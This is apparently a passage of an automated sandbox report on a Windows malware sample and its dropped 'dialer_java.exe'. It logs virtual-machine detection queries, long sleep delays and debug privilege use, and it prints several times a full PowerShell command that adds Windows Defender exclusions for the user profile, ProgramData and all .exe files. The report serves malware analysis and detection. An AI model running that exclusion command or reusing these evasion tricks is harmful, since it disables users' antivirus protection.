Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3167Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6672Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7321
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2410
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7828Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1890Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8183
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1465
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2956
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6830
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7719
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2034
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2096
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7253
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2411
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8053
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1618
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7926
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1681
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8194
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7037
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2674
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeAPI coverage: 0.4 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.3 %
Source: C:\Windows\System32\conhost.exeAPI coverage: 0.7 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.3 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.4 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.3 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.4 %
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeAPI coverage: 6.3 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep count: 3167 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep count: 6672 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144Thread sleep count: 7321 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep count: 2410 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1072Thread sleep count: 7828 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1072Thread sleep count: 1890 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036Thread sleep count: 8183 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000Thread sleep count: 1465 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8084Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2488Thread sleep count: 2956 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2488Thread sleep count: 6830 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5144Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272Thread sleep count: 7719 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7272Thread sleep count: 2034 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764Thread sleep count: 7608 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000Thread sleep count: 2096 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1880Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5212Thread sleep count: 7253 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5168Thread sleep count: 2514 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7644Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516Thread sleep count: 7355 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996Thread sleep count: 2411 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5024Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7312Thread sleep count: 8053 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5416Thread sleep count: 1618 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6260Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6152Thread sleep count: 7926 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6456Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7092Thread sleep count: 1681 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep count: 8194 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8084Thread sleep count: 1376 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800Thread sleep count: 7037 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800Thread sleep count: 2674 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5568Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400389D0 MultiByteToWideChar,MultiByteToWideChar,calloc,MultiByteToWideChar,FindFirstFileW,free,FindClose,27_2_00000001400389D0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140038E50 strncpy,MultiByteToWideChar,MultiByteToWideChar,calloc,MultiByteToWideChar,FindFirstFileW,free,malloc,FindClose,27_2_0000000140038E50
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140009160 GetSystemInfo,27_2_0000000140009160
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: conhost.exe, 0000001B.00000002.3547906679.000002B3553B0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: B;Nk7sHQPmx\cru\|Rmf[;n.zi]h5_e;k\N/_JfKqeMUkRWpncO)zNGp&~X~.zX
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1932871231.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1928785863.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1930710101.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547471787.000002B3539F8000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1931997463.000002B353A61000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796F1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,0_2_00007FF7796F1160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DC1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,15_2_00007FF695DC1160
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,27_2_000000014000118B
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400011D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,27_2_00000001400011D8
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F711160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,34_2_00007FF79F711160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21D1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,48_2_00007FF7F21D1160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC21160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,63_2_00007FF7CFC21160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA01160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,77_2_00007FF79AA01160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779851160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,91_2_00007FF779851160

HIPS / PFW / Operating System Protection Evasion

barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
